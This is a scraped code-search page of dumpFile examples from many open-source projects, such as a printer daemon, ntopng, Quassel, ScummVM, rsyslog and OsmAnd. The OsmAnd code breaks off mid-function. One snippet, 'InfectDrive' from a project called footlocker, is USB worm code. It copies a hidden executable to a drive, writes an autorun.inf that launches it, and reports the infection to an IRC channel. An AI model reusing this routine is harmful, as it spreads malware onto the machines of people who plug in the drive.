コード例 #1
0
ファイル: LPD.C プロジェクト: daemqn/Atari_ST_Sources
static void dispatchSubCmd(int16 cnId, NDB *ndb)
{
	char *pCnt;
	char *pNam;
	char fileNam[9];
	long fileLen;
	char cmd;
	static int havCnt, havDat;

	cmd = ndb->ndata[0];	/* get copies because we are going to throw ndb away */
	pCnt = strtok(ndb->ndata+1, " ");
	pNam = strtok(NULL, "\n");
	strncpy(fileNam, pNam, 8);
	fileNam[8] = '\0';
	fileLen = atol(pCnt);		/* get file length */

	KRfree(ndb->ptr); KRfree(ndb);	/* not needed any more */

	switch (cmd) {
	case '\1':		/* Abort jobs */
		output(cnId, "\1", 1);	/* unimplemented */
		break;

	case '\2':		/* Receive control file */
		output(cnId, "\0", 1);	/* acknowledge */
		dumpFile(cnId, fileNam, fileLen);
		output(cnId, "\0", 1);	/* success */
		havCnt=1;
		if (havDat) {
			printFile(fileNam);
			havDat=0;
			havCnt=0;
		}
		break;

	case '\3':		/* Receive data file */
		output(cnId, "\0", 1);	/* acknowledge */
		dumpFile(cnId, fileNam, fileLen);
		output(cnId, "\0", 1);	/* success */
		havDat=1;
		if (havCnt) {
			printFile(fileNam);
			havDat=0;
			havCnt=0;
		}
		break;

	default:
		output(cnId, "\1", 1);		/* error */
        uiPrintf(uiH, uiPrERR, "dispatchSubCmd|funny deamon rec subcmd");
		break;
	}


}	/* dispatchSubCmd */
コード例 #2
0
ファイル: testfiles.cpp プロジェクト: mshoward/school
int main()
{
	std::string s = "";
	std::getline(std::cin, s);
	dumpFile(s);
	return 0;
}
コード例 #3
0
/*
		This method will open the given file
		and create the dynamic elements of the class
		after that will call "dumpFile" function to
		recursively fill the adjacency list.
*/
void Dijkstra::ReadGraph (const char* file)
{
	fstream my_file;

	/* 	since last time I got penalty for using c++ standard
			exceptions I will comment exceptions */

	//my_file.exceptions (fstream::failbit | fstream::badbit);
	//try {
		my_file.open (file, fstream::in);

		//Asignate the number of vertices and edges
		my_file >> vertices;
		my_file >> edges;

		//create the dynamic elements
		dist = new float [vertices];
		visited = new bool [vertices];
		previous = new int [vertices];
		al = new adjacencyList (vertices);

		//Create the binary heap
		dumpFile (my_file, 0, vertices);

	//}	catch (fstream::failure& e) {
	//	cout<< "Exception: reading file : "<< e.what() << endl;

	//} catch (bad_alloc& e) {
	//	cout<< "Exception: allocating memory: " << e.what() << endl;
	//}

	my_file.close ();
}
コード例 #4
0
ファイル: ActivityStats.cpp プロジェクト: pombredanne/ntopng
bool ActivityStats::writeDump(char* path) {
  Uint32EWAHBoolArray *bitset = (Uint32EWAHBoolArray*)_bitset;
  stringstream ss;
  time_t now = time(NULL);
  time_t expire_time = now+((now+CONST_MAX_ACTIVITY_DURATION-1) % CONST_MAX_ACTIVITY_DURATION);

  m.lock(__FILE__, __LINE__);
  bitset->write(ss);
  m.unlock(__FILE__, __LINE__);

  string s = ss.str();
  std::string encoded = Utils::base64_encode(reinterpret_cast<const unsigned char*>(s.c_str()), s.length());

  // ntop->getTrace()->traceEvent(TRACE_NORMAL, "===> %s(%s)(%s)(%d)", __FUNCTION__, path, encoded.c_str(), expire_time-now);

  /* Save it both in redis and disk */
  ntop->getRedis()->set(path, (char*)encoded.c_str(), (u_int)(expire_time-now));

  try {
    ofstream dumpFile(path);

    dumpFile << ss.str();
    dumpFile.close();
    return(true);
  } catch(...) {
    return(false);
  }
}
コード例 #5
0
ファイル: usb.cpp プロジェクト: 0x31337/footlocker
DWORD __stdcall InfectDrive( USBI *usb ) {
	try {
		API *api = ((API*)usb->api);
		string name = ((API*)usb->api)->GenFileName(8) + ".exe";
		if (!dumpFile(((API*)usb->api), usb->drive, name))
			throw -1;
		((API*)usb->api)->SetFileAttributesA((usb->drive + name).c_str(), FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY);
		string autorundata = "[autorun]\r\nShellExecute=" + name;
		HANDLE file = NULL;
		DWORD size = 0;						
		if ((file = ((API*)usb->api)->CreateFileA((usb->drive + "autorun.inf").c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY, 0))) {
			if (!((API*)usb->api)->WriteFile(file, autorundata.c_str(), autorundata.length(), &size, NULL)) {
				((API*)usb->api)->CloseHandle(file);
				throw -1;
			}
			((API*)usb->api)->CloseHandle(file);
			((API*)usb->api)->SetFileAttributesA((usb->drive + "autorun.inf").c_str(), FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY);
			((IRC*)usb->irc)->IRCSend(IRC_MSG, ((IRC*)usb->irc)->servers[((IRC*)usb->irc)->currserver].channel, "Infected Drive " + usb->drive);
			throw 0;
		}
		throw -1;
	} catch(int e) {
		try { delete usb; } catch (...) {}
		switch(e) {
			case 0:
				return true;
				break;
			case -1:
				return false;
				break;
		}
	}
	return 0;

}
コード例 #6
0
ファイル: ZipFileOutput.cpp プロジェクト: sparsebase/stromx
 void ZipFileOutput::initialize(const std::string& filename)
 {
     dumpFile();
     
     m_currentText.str("");
     m_currentBasename = filename;
     m_initialized = true;
     m_currentFilename = "";
 }
コード例 #7
0
ファイル: ZipFileOutput.cpp プロジェクト: sparsebase/stromx
 void ZipFileOutput::close()
 {
     if(m_archiveHandle)
     {
         dumpFile();
     
         if(zip_close(m_archiveHandle) < 0)
             throw FileAccessFailed(m_archive, "Failed to save zip archive.");
         
         m_archiveHandle = 0;
     }
 }
コード例 #8
0
/*
	 This function read recursively the file and
	 create the nodes of the binary heap
 */
void Dijkstra::dumpFile(std::fstream& f, int i, int _max)
{
	if (i <= _max) {
		int index, pointing, weight;

		f >> index;
		f >> pointing;
		f >> weight;

		al->insert(index, heapElem(pointing, weight));

		dumpFile(f, ++i, _max);
	}
コード例 #9
0
ファイル: tiger.cpp プロジェクト: rajasrijan/TRExplorer
void TIGER::dumpRAW(iostream *dataStream, uint32_t &size, string &path, string &name)
{
	string fullpath = path + "\\" + name;
	ofstream dumpFile(fullpath, ios_base::binary);
	cout << "Writing \"" << fullpath << "\"\n";
	char tmp;
	for (uint32_t i = 0; i < size; i++)
	{
		dataStream->read(&tmp, 1);
		dumpFile.write(&tmp, 1);
	}
	dumpFile.close();
}
コード例 #10
0
ファイル: quassel.cpp プロジェクト: Yofel/quassel-log-export
void Quassel::logFatalMessage(const char *msg) {
#ifdef Q_OS_MAC
  Q_UNUSED(msg)
#else
  QFile dumpFile(coreDumpFileName());
  dumpFile.open(QIODevice::Append);
  QTextStream dumpStream(&dumpFile);

  dumpStream << "Fatal: " << msg << '\n';
  dumpStream.flush();
  dumpFile.close();
#endif
}
コード例 #11
0
ファイル: quassel.cpp プロジェクト: Yofel/quassel-log-export
const QString &Quassel::coreDumpFileName() {
  if(_coreDumpFileName.isEmpty()) {
    QDir configDir(configDirPath());
    _coreDumpFileName = configDir.absoluteFilePath(QString("Quassel-Crash-%1.log").arg(QDateTime::currentDateTime().toString("yyyyMMdd-hhmm")));
    QFile dumpFile(_coreDumpFileName);
    dumpFile.open(QIODevice::Append);
    QTextStream dumpStream(&dumpFile);
    dumpStream << "Quassel IRC: " << _buildInfo.baseVersion << ' ' << _buildInfo.commitHash << '\n';
    qDebug() << "Quassel IRC: " << _buildInfo.baseVersion << ' ' << _buildInfo.commitHash;
    dumpStream.flush();
    dumpFile.close();
  }
  return _coreDumpFileName;
}
コード例 #12
0
ファイル: console.cpp プロジェクト: Cruel/scummvm
bool Console::cmdDumpFile(int argc, const char **argv) {
	if (argc != 2) {
		debugPrintf("Use %s <fileName> to dump a file\n", argv[0]);
		return true;
	}

	Common::File f;
	if (!_engine->getSearchManager()->openFile(f, argv[1])) {
		warning("File not found: %s", argv[1]);
		return true;
	}

	dumpFile(&f, argv[1]);

	return true;
}
コード例 #13
0
ファイル: rsgtutil.c プロジェクト: ahtotruu/rsyslog
static void
processFile(char *name)
{
	switch(mode) {
	case MD_DETECT_FILE_TYPE:
		detectFileType(name);
		break;
	case MD_DUMP:
		dumpFile(name);
		break;
	case MD_SHOW_SIGBLK_PARAMS:
		showSigblkParams(name);
		break;
	case MD_VERIFY:
	case MD_EXTEND:
		verify(name);
		break;
	}
}
コード例 #14
0
ファイル: console.cpp プロジェクト: Cruel/scummvm
bool Console::cmdDumpFiles(int argc, const char **argv) {
	Common::String fileName;
	Common::SeekableReadStream *in;

	if (argc != 2) {
		debugPrintf("Use %s <file extension> to dump all files with a specific extension\n", argv[0]);
		return true;
	}

	SearchManager::MatchList fileList;
	_engine->getSearchManager()->listMembersWithExtension(fileList, argv[1]);

	for (SearchManager::MatchList::iterator iter = fileList.begin(); iter != fileList.end(); ++iter) {
		fileName = iter->_value.name;
		debugPrintf("Dumping %s\n", fileName.c_str());

		in = iter->_value.arch->createReadStreamForMember(iter->_value.name);
		if (in)
			dumpFile(in, fileName.c_str());
		delete in;
	}

	return true;
}
コード例 #15
0
ファイル: ildasm_main.c プロジェクト: bencz/DotGnu
int main(int argc, char *argv[])
{
	char *progname = argv[0];
	char *outputFile = 0;
	int dumpSections = 0;
	int wholeFile = 0;
	int flags = 0;
	int sawStdin;
	int state, opt;
	char *param;
	FILE *infile;
	int errors;
	ILContext *context;

	/* Parse the command-line arguments */
	state = 0;
	while((opt = ILCmdLineNextOption(&argc, &argv, &state,
									 options, &param)) != 0)
	{
		switch(opt)
		{
			case 'o':
			{
				outputFile = param;
			}
			break;

			case 'd':
			{
				dumpSections = 1;
			}
			break;

			case 'r':
			{
				flags |= ILDASM_REAL_OFFSETS;
			}
			break;

			case 't':
			{
				flags |= IL_DUMP_SHOW_TOKENS;
			}
			break;

			case 'q':
			{
				flags |= IL_DUMP_QUOTE_NAMES;
			}
			break;

			case 'w':
			{
				wholeFile = 1;
			}
			break;

			case 'b':
			{
				flags |= ILDASM_INSTRUCTION_BYTES;
			}
			break;

			case 'n':
			{
				flags |= ILDASM_NO_IL;
			}
			break;

			case 'R':
			{
				flags |= ILDASM_RESOLVE_ALL;
			}
			break;

			case '?':
			{
				/* Ignore this compatilibity option that we don't support */
			}
			break;

			case 'v':
			{
				version();
				return 0;
			}
			/* Not reached */

			default:
			{
				usage(progname);
				return 1;
			}
			/* Not reached */
		}
	}

	/* We need at least one input file argument */
	if(argc <= 1)
	{
		usage(progname);
		return 1;
	}

	/* Open the output stream */
	if(outputFile && strcmp(outputFile, "-") != 0)
	{
		if((outstream = fopen(outputFile, "w")) == NULL)
		{
			perror(outputFile);
			return 1;
		}
	}
	else
	{
		outstream = stdout;
	}

	/* Create a context to use for image loading */
	context = ILContextCreate();
	if(!context)
	{
		fprintf(stderr, "%s: out of memory\n", progname);
		return 1;
	}

	/* Load and dump the input files */
	sawStdin = 0;
	errors = 0;
	while(argc > 1)
	{
		if(!strcmp(argv[1], "-"))
		{
			/* Dump the contents of stdin, but only once */
			if(!sawStdin)
			{
				if(!wholeFile)
				{
					errors |= dumpFile("stdin", stdin, 0, context,
									   dumpSections, flags);
				}
				else
				{
					dumpWholeFile("stdin", stdin);
				}
				sawStdin = 1;
			}
		}
		else
		{
			/* Dump the contents of a regular file */
			if((infile = fopen(argv[1], "rb")) == NULL)
			{
				/* Try again in case libc did not understand the 'b' */
				if((infile = fopen(argv[1], "r")) == NULL)
				{
					perror(argv[1]);
					errors = 1;
					++argv;
					--argc;
					continue;
				}
			}
			if(!wholeFile)
			{
				errors |= dumpFile(argv[1], infile, 1, context,
								   dumpSections, flags);
			}
			else
			{
				dumpWholeFile(argv[1], infile);
				fclose(infile);
			}
		}
		++argv;
		--argc;
	}

	/* Destroy the context */
	ILContextDestroy(context);
	
	/* Close the output stream */
	if(outstream != stdout)
	{
		fclose(outstream);
	}

	/* Done */
	return errors;
}
コード例 #16
0
ファイル: tiff.c プロジェクト: ziman/jpg-recover
int recoverTiff(FILE * f, int index, bool_t bigEndian, const char * prefix)
{
	/* Check for the correct magic code. */
	unsigned magic = readShort(f, bigEndian);
	if (magic != 42)
		return index;

	printf("Correct TIFF file header recognized... reading on.\n");

	/* These values will be gathered while reading the file. */
	unsigned tiffSize = 0;
	unsigned stripOffsets = 0;
	unsigned stripLengths = 0;
	unsigned stripCount = 0;

	/* Parse the directories. */
	off_t fileStart = ftellx(f) - 4;
	do {
		/* Read the IF directory offset. */
		unsigned ifd = readLong(f, bigEndian);
		if (ifd == 0) break;

		/* Rewind to the directory. */
		fseekx(f, fileStart + ifd);

		/* Get the entry count. */
		unsigned entryCount = readShort(f, bigEndian);
		printf("  * IF directory at offset %u, %u entries.\n", ifd, entryCount);

		/* Read all entries. */
		while (entryCount-- > 0) {
			unsigned tag = readShort(f, bigEndian);
			unsigned type = readShort(f, bigEndian);
			unsigned count = readLong(f, bigEndian);
			unsigned offset = readLong(f, bigEndian);
			unsigned blockSize = count * typeSize(type);
			unsigned blockEndOffset = offset + blockSize;

			/* A block may constitute the last bytes of a TIFF file, according to the spec. */
			if (blockEndOffset > tiffSize)
				tiffSize = blockEndOffset;

			/* Process known IFD entries. */
			switch (tag) {
				case 273: /* Strip offsets. */
					stripOffsets = offset;
					if (type != 4) {
						printf("-> STRIP_OFFSETS are not LONGs. Skipping.\n");
						return index;
					}
					if (stripCount && stripCount != count) {
						printf("  ! Warning: STRIP_OFFSETS has different count of elements than STRIP_LENGTHS.\n");
						printf("  !          The resulting file may be unusable.\n");
						stripCount = (stripCount > count) ? count : stripCount;
					} else {
						stripCount = count;
					}
					break;
				case 279: /* Strip byte counts */
					stripLengths = offset;
					if (type != 4) {
						printf("-> STRIP_LENGTHS are not LONGs. Skipping.\n");
						return index;
					}
					if (stripCount && stripCount != count) {
						printf("  ! Warning: STRIP_OFFSETS has different count of elements than STRIP_LENGTHS.\n");
						printf("  !          The resulting file may be unusable.\n");
						stripCount = (stripCount > count) ? count : stripCount;
					} else {
						stripCount = count;
					}
					break;
				default: /* Unrecognized tag, ignore it. */
					break;
			} /* End of the switch. */
		} /* End of the loop over entries in an IFD. */
	} while (true); /* End of the loop over IFDs. */

	/* Check whether we have any strips at all. */
	if (!stripOffsets || !stripLengths || !stripCount) {
		printf("-> Strip offsets/lengths/count not present, this file would be unusable. Skipping.\n");
		return index;
	}

	/* Usually end of the last strip is the end of the whole TIFF file. */
	unsigned lastStripEnd = 0;
	if (stripCount == 1) {
		/* Here we have exactly one strip, with actual values instead of pointers to arrays. */
		lastStripEnd = stripOffsets + stripLengths;
	} else {
		/* Multiple strips, iterate over each one to find the highest offset. */
		unsigned highestOffset = 0;
		int highestOffsetIndex = 0;
		fseekx(f, fileStart + stripOffsets);
		unsigned i;
		for (i = 0; i < stripCount; ++i) {
			/* Read the offset of the strip. */
			unsigned offset = readLong(f, bigEndian);
			if (offset > highestOffset) {
				highestOffset = offset;
				highestOffsetIndex = i;
			}
		}

		/* Now, reach into the STRIP_LENGTHS list and get the length of the last strip. */
		fseekx(f, fileStart + stripLengths + 4*highestOffsetIndex);
		lastStripEnd = highestOffset + readLong(f, bigEndian);
	}

	/* Print some nice info. */
	printf("  * Strip data ends at the offset %u.\n", lastStripEnd);
	fflush(stdout);

	/* Adjust the calculated TIFF size. */
	if (lastStripEnd > tiffSize)
		tiffSize = lastStripEnd;

	/* Generate the output file name. */
	char fname[MAX_PREFIX_LENGTH + 10];
	snprintf(fname, sizeof(fname), "%s%05d.cr2", prefix, index);

	/* Seek to the beginning of the TIFF file and dump it.*/
	printf("-> The TIFF file appears correct, dumping %u bytes as %s... ", tiffSize, fname);
	fseekx(f, fileStart);
	dumpFile(f, fname, tiffSize);
	printf("done.\n");

	/* Use the next index for the next image. */
	return index + 1;
}
コード例 #17
0
ファイル: Styler.cpp プロジェクト: jmakovicka/OsmAnd-core
bool OsmAndTools::Styler::evaluate(EvaluatedMapObjects& outEvaluatedMapObjects, std::ostream& output)
#endif
{
    bool success = true;
    for (;;)
    {
        // Find style
        if (configuration.verbose)
            output << xT("Resolving style '") << QStringToStlString(configuration.styleName) << xT("'...") << std::endl;
        const auto mapStyle = configuration.stylesCollection->getResolvedStyleByName(configuration.styleName);
        if (!mapStyle)
        {
            if (configuration.verbose)
            {
                output << "Failed to resolve style '" << QStringToStlString(configuration.styleName) << "' from collection:" << std::endl;
                for (const auto& style : configuration.stylesCollection->getCollection())
                {
                    if (style->isMetadataLoaded())
                    {
                        if (style->isStandalone())
                            output << "\t" << QStringToStlString(style->name) << std::endl;
                        else
                            output << "\t" << QStringToStlString(style->name) << "::" << QStringToStlString(style->parentName) << std::endl;
                    }
                    else
                        output << "\t[missing metadata]" << std::endl;
                }
            }
            else
            {
                output << "Failed to resolve style '" << QStringToStlString(configuration.styleName) << "' from collection:" << std::endl;
            }

            success = false;
            break;
        }

        // Dump style if asked to do so
        if (!configuration.styleDumpFilename.isEmpty())
        {
            const auto dumpContent = mapStyle->dump();
            QFile dumpFile(configuration.styleDumpFilename);
            if (dumpFile.open(QIODevice::WriteOnly | QIODevice::Truncate | QIODevice::Text))
            {
                QTextStream(&dumpFile) << dumpContent;
                dumpFile.close();
            }
        }

        // Load all map objects
        const auto mapObjectsFilterById =
            [this]
            (const std::shared_ptr<const OsmAnd::ObfMapSectionInfo>& section,
            const uint64_t mapObjectId,
            const OsmAnd::AreaI& bbox,
            const OsmAnd::ZoomLevel firstZoomLevel,
            const OsmAnd::ZoomLevel lastZoomLevel) -> bool
            {
                return configuration.mapObjectsIds.contains(mapObjectId);
            };
        if (configuration.verbose)
        {
            if (configuration.mapObjectsIds.isEmpty())
                output << xT("Going to load all available map objects...") << std::endl;
            else
                output << xT("Going to load ") << configuration.mapObjectsIds.size() << xT(" map objects...") << std::endl;
        }
        const auto obfDataInterface = configuration.obfsCollection->obtainDataInterface();
        QList< std::shared_ptr<const OsmAnd::BinaryMapObject> > mapObjects_;
        success = obfDataInterface->loadBinaryMapObjects(
            &mapObjects_,
            nullptr,
            configuration.zoom,
            nullptr,
            configuration.mapObjectsIds.isEmpty() ? OsmAnd::FilterBinaryMapObjectsByIdFunction() : mapObjectsFilterById,
            nullptr,
            nullptr,
            nullptr,
            nullptr);
        const auto mapObjects = OsmAnd::copyAs< QList< std::shared_ptr<const OsmAnd::MapObject> > >(mapObjects_);
        if (!success)
        {
            if (configuration.verbose)
                output << xT("Failed to load map objects!") << std::endl;
            break;
        }
        if (configuration.verbose)
            output << xT("Loaded ") << mapObjects.size() << xT(" map objects") << std::endl;

        // Prepare all resources for map style evaluation
        if (configuration.verbose)
        {
            output
                << xT("Initializing map presentation environment with display density ")
                << configuration.displayDensityFactor
                << xT(" and locale '")
                << QStringToStlString(configuration.locale)
                << xT("'...") << std::endl;
        }
        const std::shared_ptr<OsmAnd::MapPresentationEnvironment> mapPresentationEnvironment(new OsmAnd::MapPresentationEnvironment(
            mapStyle,
            configuration.displayDensityFactor,
            configuration.locale));

        if (configuration.verbose)
            output << xT("Applying extra style settings to map presentation environment...") << std::endl;
        mapPresentationEnvironment->setSettings(configuration.styleSettings);

        // Create primitiviser
        const std::shared_ptr<OsmAnd::MapPrimitiviser> primitiviser(new OsmAnd::MapPrimitiviser(mapPresentationEnvironment));
        if (configuration.verbose)
            output << xT("Going to primitivise map objects...") << std::endl;
        const auto primitivisedData = primitiviser->primitiviseAllMapObjects(
                configuration.zoom,
                mapObjects);
        if (configuration.verbose)
            output << xT("Primitivised ") << primitivisedData->primitivesGroups.size() << xT(" groups from ") << mapObjects.size() << xT(" map objects") << std::endl;

        // Obtain evaluated values for each group and print it
        for (const auto& primitivisedGroup : OsmAnd::constOf(primitivisedData->primitivesGroups))
        {
            const auto& mapObject = primitivisedGroup->sourceObject;
            const auto binaryMapObject = std::dynamic_pointer_cast<const OsmAnd::BinaryMapObject>(mapObject);
            const auto& encDecRules = mapObject->encodingDecodingRules;

            // Skip objects that were not requested
            if (!configuration.mapObjectsIds.isEmpty() && binaryMapObject && !configuration.mapObjectsIds.contains(binaryMapObject->id))
                continue;

            outEvaluatedMapObjects[mapObject] = primitivisedGroup;

            output << QStringToStlString(QString(80, QLatin1Char('-'))) << std::endl;
            output << QStringToStlString(mapObject->toString()) << std::endl;

            for (const auto& typeRuleId : OsmAnd::constOf(mapObject->typesRuleIds))
            {
                const auto itTypeRule = encDecRules->decodingRules.constFind(typeRuleId);
                if (itTypeRule != encDecRules->decodingRules.cend())
                {
                    const auto& typeRule = *itTypeRule;

                    output << xT("\tType: ") << QStringToStlString(typeRule.tag) << xT(" = ") << QStringToStlString(typeRule.value) << std::endl;
                }
                else
                {
                    output << xT("\tType: #") << typeRuleId << xT(" (UNRESOLVED)") << std::endl;
                }
            }

            for (const auto& typeRuleId : OsmAnd::constOf(mapObject->additionalTypesRuleIds))
            {
                const auto itTypeRule = encDecRules->decodingRules.constFind(typeRuleId);
                if (itTypeRule != encDecRules->decodingRules.cend())
                {
                    const auto& typeRule = *itTypeRule;

                    output << xT("\tExtra type: ") << QStringToStlString(typeRule.tag) << xT(" = ") << QStringToStlString(typeRule.value) << std::endl;
                }
                else
                {
                    output << xT("\tExtra type: #") << typeRuleId << xT(" (UNRESOLVED)") << std::endl;
                }
            }

            for (const auto& captionTagId : OsmAnd::constOf(mapObject->captionsOrder))
            {
                const auto& captionValue = mapObject->captions[captionTagId];

                if (encDecRules->name_encodingRuleId == captionTagId)
                    output << xT("\tCaption: ") << QStringToStlString(captionValue) << std::endl;
                else if (encDecRules->ref_encodingRuleId == captionTagId)
                    output << xT("\tRef: ") << QStringToStlString(captionValue) << std::endl;
                else
                {
                    const auto itCaptionTagAsLocalizedName = encDecRules->localizedName_decodingRules.constFind(captionTagId);
                    const auto itCaptionTagRule = encDecRules->decodingRules.constFind(captionTagId);

                    QString captionTag(QLatin1String("UNRESOLVED"));
                    if (itCaptionTagAsLocalizedName != encDecRules->localizedName_decodingRules.cend())
                        captionTag = *itCaptionTagAsLocalizedName;
                    if (itCaptionTagRule != encDecRules->decodingRules.cend())
                        captionTag = itCaptionTagRule->tag;
                    output << xT("\tCaption [") << QStringToStlString(captionTag) << xT("]: ") << QStringToStlString(captionValue) << std::endl;
                }
            }

            if (!primitivisedGroup->points.isEmpty())
            {
                output << primitivisedGroup->points.size() << xT(" point(s):") << std::endl;

                unsigned int pointPrimitiveIndex = 0u;
                for (const auto& pointPrimitive : OsmAnd::constOf(primitivisedGroup->points))
                {
                    output << xT("\tPoint #") << pointPrimitiveIndex << std::endl;
                    QString ruleTag;
                    QString ruleValue;
                    const auto typeRuleResolved = mapObject->obtainTagValueByTypeRuleIndex(pointPrimitive->typeRuleIdIndex, ruleTag, ruleValue);
                    if (typeRuleResolved)
                        output << xT("\t\tTag/value: ") << QStringToStlString(ruleTag) << xT(" = ") << QStringToStlString(ruleValue) << std::endl;
                    else
                        output << xT("\t\tTag/value: ") << pointPrimitive->typeRuleIdIndex << xT(" (failed to resolve)") << std::endl;
                    output << xT("\t\tZ order: ") << pointPrimitive->zOrder << std::endl;
                    output << xT("\t\tArea*2: ") << pointPrimitive->doubledArea << std::endl;
                    for (const auto& evaluatedValueEntry : OsmAnd::rangeOf(OsmAnd::constOf(pointPrimitive->evaluationResult.values)))
                    {
                        const auto valueDefinitionId = evaluatedValueEntry.key();
                        const auto value = evaluatedValueEntry.value();

                        const auto valueDefinition = mapStyle->getValueDefinitionById(valueDefinitionId);

                        output << xT("\t\t") << QStringToStlString(valueDefinition->name) << xT(" = ");
                        if (valueDefinition->dataType == OsmAnd::MapStyleValueDataType::Color)
                            output << QStringToStlString(OsmAnd::ColorARGB(value.toUInt()).toString());
                        else
                            output << QStringToStlString(value.toString());
                        output << std::endl;
                    }

                    pointPrimitiveIndex++;
                }
            }

            if (!primitivisedGroup->polylines.isEmpty())
            {
                output << primitivisedGroup->polylines.size() << xT(" polyline(s):") << std::endl;

                unsigned int polylinePrimitiveIndex = 0u;
                for (const auto& polylinePrimitive : OsmAnd::constOf(primitivisedGroup->polylines))
                {
                    output << xT("\tPolyline #") << polylinePrimitiveIndex << std::endl;
                    QString ruleTag;
                    QString ruleValue;
                    const auto typeRuleResolved = mapObject->obtainTagValueByTypeRuleIndex(polylinePrimitive->typeRuleIdIndex, ruleTag, ruleValue);
                    if (typeRuleResolved)
                        output << xT("\t\tTag/value: ") << QStringToStlString(ruleTag) << xT(" = ") << QStringToStlString(ruleValue) << std::endl;
                    else
                        output << xT("\t\tTag/value: ") << polylinePrimitive->typeRuleIdIndex << xT(" (failed to resolve)") << std::endl;
                    output << xT("\t\tZ order: ") << polylinePrimitive->zOrder << std::endl;
                    output << xT("\t\tArea*2: ") << polylinePrimitive->doubledArea << std::endl;
                    for (const auto& evaluatedValueEntry : OsmAnd::rangeOf(OsmAnd::constOf(polylinePrimitive->evaluationResult.values)))
                    {
                        const auto valueDefinitionId = evaluatedValueEntry.key();
                        const auto value = evaluatedValueEntry.value();

                        const auto valueDefinition = mapStyle->getValueDefinitionById(valueDefinitionId);

                        output << xT("\t\t") << QStringToStlString(valueDefinition->name) << xT(" = ");
                        if (valueDefinition->dataType == OsmAnd::MapStyleValueDataType::Color)
                            output << QStringToStlString(OsmAnd::ColorARGB(value.toUInt()).toString());
                        else
                            output << QStringToStlString(value.toString());
                        output << std::endl;
                    }

                    polylinePrimitiveIndex++;
                }
            }

            if (!primitivisedGroup->polygons.isEmpty())
            {
                output << primitivisedGroup->polygons.size() << xT(" polygon(s):") << std::endl;

                unsigned int polygonPrimitiveIndex = 0u;
                for (const auto& polygonPrimitive : OsmAnd::constOf(primitivisedGroup->polygons))
                {
                    output << xT("\tPolygon #") << polygonPrimitiveIndex << std::endl;
                    QString ruleTag;
                    QString ruleValue;
                    const auto typeRuleResolved = mapObject->obtainTagValueByTypeRuleIndex(polygonPrimitive->typeRuleIdIndex, ruleTag, ruleValue);
                    if (typeRuleResolved)
                        output << xT("\t\tTag/value: ") << QStringToStlString(ruleTag) << xT(" = ") << QStringToStlString(ruleValue) << std::endl;
                    else
                        output << xT("\t\tTag/value: ") << polygonPrimitive->typeRuleIdIndex << xT(" (failed to resolve)") << std::endl;
                    output << xT("\t\tZ order: ") << polygonPrimitive->zOrder << std::endl;
                    output << xT("\t\tArea*2: ") << polygonPrimitive->doubledArea << std::endl;
                    for (const auto& evaluatedValueEntry : OsmAnd::rangeOf(OsmAnd::constOf(polygonPrimitive->evaluationResult.values)))
                    {
                        const auto valueDefinitionId = evaluatedValueEntry.key();
                        const auto value = evaluatedValueEntry.value();

                        const auto valueDefinition = mapStyle->getValueDefinitionById(valueDefinitionId);

                        output << xT("\t\t") << QStringToStlString(valueDefinition->name) << xT(" = ");
                        if (valueDefinition->dataType == OsmAnd::MapStyleValueDataType::Color)
                            output << QStringToStlString(OsmAnd::ColorARGB(value.toUInt()).toString());
                        else
                            output << QStringToStlString(value.toString());
                        output << std::endl;
                    }

                    polygonPrimitiveIndex++;
                }
            }

            const auto itSymbolsGroup = primitivisedData->symbolsGroups.constFind(mapObject);
            if (itSymbolsGroup != primitivisedData->symbolsGroups.cend())
            {
                const auto& symbolsGroup = *itSymbolsGroup;

                output << symbolsGroup->symbols.size() << xT(" symbol(s):") << std::endl;

                unsigned int symbolIndex = 0u;
                for (const auto& symbol : OsmAnd::constOf(symbolsGroup->symbols))
                {
                    const auto textSymbol = std::dynamic_pointer_cast<const OsmAnd::MapPrimitiviser::TextSymbol>(symbol);
                    const auto iconSymbol = std::dynamic_pointer_cast<const OsmAnd::MapPrimitiviser::IconSymbol>(symbol);

                    output << xT("\tSymbol #") << symbolIndex;
                    if (textSymbol)
                        output << xT(" (text)");
                    else if (iconSymbol)
                        output << xT(" (icon)");
                    output << std::endl;

                    auto primitiveIndex = -1;
                    if (primitiveIndex == -1)
                    {
                        primitiveIndex = primitivisedGroup->points.indexOf(symbol->primitive);
                        if (primitiveIndex >= 0)
                            output << xT("\t\tPrimitive: Point #") << primitiveIndex << std::endl;
                    }
                    if (primitiveIndex == -1)
                    {
                        primitiveIndex = primitivisedGroup->polylines.indexOf(symbol->primitive);
                        if (primitiveIndex >= 0)
                            output << xT("\t\tPrimitive: Polyline #") << primitiveIndex << std::endl;
                    }
                    if (primitiveIndex == -1)
                    {
                        primitiveIndex = primitivisedGroup->polygons.indexOf(symbol->primitive);
                        if (primitiveIndex >= 0)
                            output << xT("\t\tPrimitive: Polygon #") << primitiveIndex << std::endl;
                    }

                    output << xT("\t\tPosition31: ") << symbol->location31.x << xT("x") << symbol->location31.y << std::endl;
                    output << xT("\t\tOrder: ") << symbol->order << std::endl;
                    output << xT("\t\tDraw along path: ") << (symbol->drawAlongPath ? xT("yes") : xT("no")) << std::endl;
                    output << xT("\t\tIntersects with: ") << QStringToStlString(QStringList(symbol->intersectsWith.toList()).join(QLatin1String(", "))) << std::endl;
                    output << xT("\t\tPath padding left: ") << symbol->pathPaddingLeft << std::endl;
                    output << xT("\t\tPath padding right: ") << symbol->pathPaddingRight << std::endl;
                    output << xT("\t\tMinDistance: ") << symbol->minDistance << std::endl;
                    if (textSymbol)
                    {
                        output << xT("\t\tText: ") << QStringToStlString(textSymbol->value) << std::endl;
                        output << xT("\t\tLanguage: ");
                        switch (textSymbol->languageId)
                        {
                            case OsmAnd::LanguageId::Invariant:
                                output << xT("invariant");
                                break;
                            case OsmAnd::LanguageId::Native:
                                output << xT("native");
                                break;
                            case OsmAnd::LanguageId::Localized:
                                output << xT("localized");
                                break;
                        }
                        output << std::endl;
                        output << xT("\t\tDraw text on path: ") << (textSymbol->drawOnPath ? xT("yes") : xT("no")) << std::endl;
                        output << xT("\t\tText vertical offset: ") << textSymbol->verticalOffset << std::endl;
                        output << xT("\t\tText color: ") << QStringToStlString(textSymbol->color.toString()) << std::endl;
